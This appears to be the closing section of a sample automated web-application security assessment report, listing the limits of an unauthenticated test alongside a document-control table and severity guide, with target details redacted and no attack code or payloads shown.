Limitations documented by the assessment: (1) The engagement was unauthenticated with a single anonymous auto-issued identity and no supplied credentials, so cross-user and cross-role views, staff-side rendering and real account-takeover impact could not be observed, and severities were kept at demonstrated-within-anonymous-scope levels. (2) Concurrency testing was not authorized, so race and atomicity classes were not exercised; only sequential single-use evidence (such as a 409 replay response and per-key voucher deduplication) exists. (3) No controlled callback or test origin was authorized, so cross-site CSRF was not browser-confirmed (XXXXXX's per-attempt CSRF token binding was verified at HTTP level; XXXXXX and main-site token-less flows were verified in-session only), XXXXXX XXXXXX host-unrestrictedness was not tested, multi-hop redirect-chain validation was not tested, and the XXE SSRF variant was not tested. (4) The one-accepted-submission-per-form budget prevented attribution isolation in single-submission scenarios (for example whether plan or is_staff drives the XXXXXX benefits gate) and left main-site per-field validation opaque. (5) Main-site lead records have no read-back or listing endpoint, so accepted leads were observable only through API responses, and no cleanup mechanism exists for the two synthetic leads created. (6) XXXXXX storage is session-scoped and the test session cookie was never exported, so cross-restart persistence of stored payloads was not demonstrated; the I697 review cleanup ran cookie-less against a fresh session and could not address the original session, leaving an inert, session-scoped synthetic marker until cookie expiry. (7) Payments and recovery-message delivery are simulation-only by design, bounding impact demonstration to application state. (8) No component was flagged exploitable from version strings alone; version observations were limited to disclosed values. (9) All 27 finding records carry status pending: they are unreviewed pending triage, not confirmed through that process, and severities are as recorded. (10) A record-level discrepancy needs triage: records 106 and 122 carry earlier browser-validated-execution-pending labels, while the final report and record 118 document browser-confirmed inline-script execution for both the XXXXXX and XXXXXX stored-injection sinks in headless Chromium 156. (11) Where the supplied evidence does not document coverage, that coverage is described here as undocumented rather than inferred as tested or untested, and tested-no-finding outcomes (for example HTML-encoded reflected contexts, negative command and SSTI screening, XXXXXX's host-pinned XXXXXX redirect allowlist, and strong TLS configuration) do not by themselves establish that those categories are secure across the application. Nine unverified hypotheses (H-1 through H-9) remain open with stated missing prerequisites, including an authorized test origin, controlled redirect fixtures, authenticated identities, concurrency authorization and a network position for the HSTS scenario.

DOCUMENT CONTROL

B / Report record

REPORT REFERENCE	SAMPLE
TARGET	XXXXXX
ASSESSMENT STATUS	Completed
ASSESSMENT MODE	Unauthenticated
STARTED	XXXXXX
FINISHED	XXXXXX
DOCUMENT ISSUED	24 November 2026 · 18:29 UTC
EVIDENCE SNAPSHOT SHA-256	XXXXXX

Severity guide

Colors identify the reported severity. They are not a new CVSS calculation or an independently assigned risk score. Triage status is shown separately.

CRITICAL	Critical severity reported by the assessment engine.
HIGH	High severity reported by the assessment engine.
MEDIUM	Medium severity reported by the assessment engine.
LOW	Low severity reported by the assessment engine.
INFORMATIONAL	Informational observation reported by the assessment engine.

Report provenance

Prepared by RiskRift. This document records observations at a specific point in time. Changes to the application, privileges or deployment may change the results.